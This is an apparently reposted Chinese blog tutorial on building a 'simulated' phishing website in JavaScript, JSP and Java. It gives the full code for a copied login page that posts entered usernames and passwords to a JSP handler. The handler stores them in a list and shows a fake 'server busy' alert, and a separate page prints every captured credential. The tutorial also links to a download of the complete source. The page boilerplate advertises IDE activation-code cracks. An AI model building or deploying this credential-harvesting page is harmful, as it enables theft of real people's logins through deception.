Java|JavaScript 模拟钓鱼网站实例一[通俗易懂]

Java|JavaScript 模拟钓鱼网站实例一[通俗易懂]本次只是用最简单的方法模拟钓鱼网站。前端的代码是从网上下载的,我只是做了稍微的修改。整个项目的源码如下(2018年2月10日在审核估计2月11后可以下载):http://download.csdn.net/download/qq78442761/10247969最后的效果是如下图:输入用户名和密码后,会提醒服务器繁忙然后,我们登录到另外一个页面进行查看:这里涉及如下技术:1.修改网上下载的html…

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE使用 1年只要46元 售后保障 童叟无欺

本次只是用最简单的方法模拟钓鱼网站。

前端的代码是从网上下载的,我只是做了稍微的修改。

整个项目的源码如下(2018年2月10日在审核估计2月11后可以下载):

http://download.csdn.net/download/qq78442761/10247969

最后的效果是如下图:

Java|JavaScript 模拟钓鱼网站实例一[通俗易懂]

输入用户名和密码后,会提醒服务器繁忙

然后,我们登录到另外一个页面进行查看:

Java|JavaScript 模拟钓鱼网站实例一[通俗易懂]

这里涉及如下技术:

1.修改网上下载的html代码,为自己所使用。

2.读取前端数据,填出提示框,和页面跳转。

3.用链表存储数据,用另外一个页面打印。

1.修改的前端html如下:

index.html的伪代码

<script>
	function login(){
		var form1=document.formLogin;
		form1.action="query.jsp";
		form1.submit();
	}
</script>

</head>
<body>
		<div class="container demo-1">
			<div class="content">
				<div id="large-header" class="large-header">
					<canvas id="demo-canvas"></canvas>
					<div class="logo_box">
						<h3>后台登录</h3>
						<form name="formLogin" action="#" name="f" method="post">
							<div class="input_outer">
								<span class="u_user"></span>
								<input name="logname" class="text" style="color: #FFFFFF !important" type="text" placeholder="请输入账户">
							</div>
							<div class="input_outer">
								<span class="us_uer"></span>
								<input name="logpass" class="text" style="color: #FFFFFF !important; position:absolute; z-index:100;"value="" type="password" placeholder="请输入密码">
							</div>
							<div class="mb2"><a class="act-but submit"   href="javascript:login(0);"  style="color: #FFFFFF">登录</a></div>
						</form>
					</div>
				</div>
			</div>
		</div><!-- /container -->

下面是获得前端数据,和实现跳转,弹出提示框功能:

query.jsp的伪代码

  <%
    	request.setCharacterEncoding("UTF-8");
    	String name=request.getParameter("logname");
    	String passWD=request.getParameter("logpass");
    	Data currData=new Data();
    	currData.setUserName(name);
    	currData.setPassWord(passWD);
    	DataList.put(currData);
    	
    	
    	out.print("<script>alert('服务器繁忙'); window.location.href='index.html'</script>");
    
     %>

下面是java代码,是链表的存储

data.java

package my;



public class Data {
	
	private String userName;
	private String passWord;
	
	public String getUserName() {
		return userName;
	}
	
	public void setUserName(String userName) {
		this.userName = userName;
	}
	
	public String getPassWord() {
		return passWord;
	}
	
	public void setPassWord(String passWord) {
		this.passWord = passWord;
	}
	
}

DataList.java的代码

package my;

import java.util.ArrayList;


public class DataList {
	public static ArrayList dataList=new ArrayList();
	public static void put(Data data){	//压入链尾
		dataList.add(data);
	}
	
}
	

最后是打印页面

print.jsp的伪代码

    <%
    int countNum=DataList.dataList.size();
    out.write("总数据是"+countNum+"</br>");
    out.write("收字符串首串是用户名,接着是密码!</br>");
    for(int i=0;i<DataList.dataList.size();i++){
   		Data data=(Data)DataList.dataList.get(i);
    	out.write(data.getUserName()+"-------------"+data.getPassWord()+"</br>");
    }
     %>

代码很简单,在此不再说明,逻辑也很清晰,需要源码的在最上面那个链接下载!

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/172711.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • vim下一页

    vim下一页整页翻页ctrl-fctrl-bf就是forwordb就是backward翻半页ctrl-dctlr-ud=downu=up滚一行ctrl-ectrl-yzz让光标所在的行居屏幕中央zt让光标所在的行居屏幕最上一行t=topzb让光标所在的行居屏幕最下一行b=bottomctrl+f(forward)往前翻一页ctrl+b(backward)往后翻一页ctrl+d(down)往前翻半页ctrl+u(up)往后翻半页zz让光标所在行.

    2022年5月5日
    52
  • 我的世界区块显示_我的世界怎么显示区块线

    我的世界区块显示_我的世界怎么显示区块线我的世界手游区块是一个独特的机制,很多玩家对于区块是什么不太了解,区块显示指令以及区块的产生不是很熟悉,为了帮助到大家,今天小编就为大家带来我的世界手游区块显示指令分享:区块玩法操作详解的内容,希望大家能够喜欢,下面就让我们一起来看看吧!区块相关1.出生点区块在出生点附近的区块是一块围绕世界出生点的区域中的一个区块,只要有玩家在主世界,它就不会被从内存中卸载。这意味着像红石元件和刷怪会继续,甚至所…

    2025年12月11日
    2
  • matlabfprintf用法_matlab中compose函数

    matlabfprintf用法_matlab中compose函数fprintf函数的运用(组图)08-19栏目:技术TAG:fprintffprintffprintf()用于文件操作#includeintfprintf(FILE*stream,constchar*format,…);copyrightwww.jhua.orgfprintf()函数根据指定的format(格式)发送信息(参数)到由stream(流)指定的文件.因此fpr…

    2022年10月9日
    4
  • 动态获取地址×××解决方案

    动态获取地址×××解决方案

    2021年8月19日
    55
  • shardbatis实现分表「建议收藏」

    Shardbatis的名称由shard(ing)+mybatis组合得到,是谷歌的一款开源软件。旨在为mybatis实现数据水平切分的功能。数据的水平切分包括多数据库的切分和多表的数据切分,目前sha

    2022年2月16日
    41
  • CodeIgniter安装和入门使用(一)[通俗易懂]

    CodeIgniter安装和入门使用(一)

    2022年2月8日
    48

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号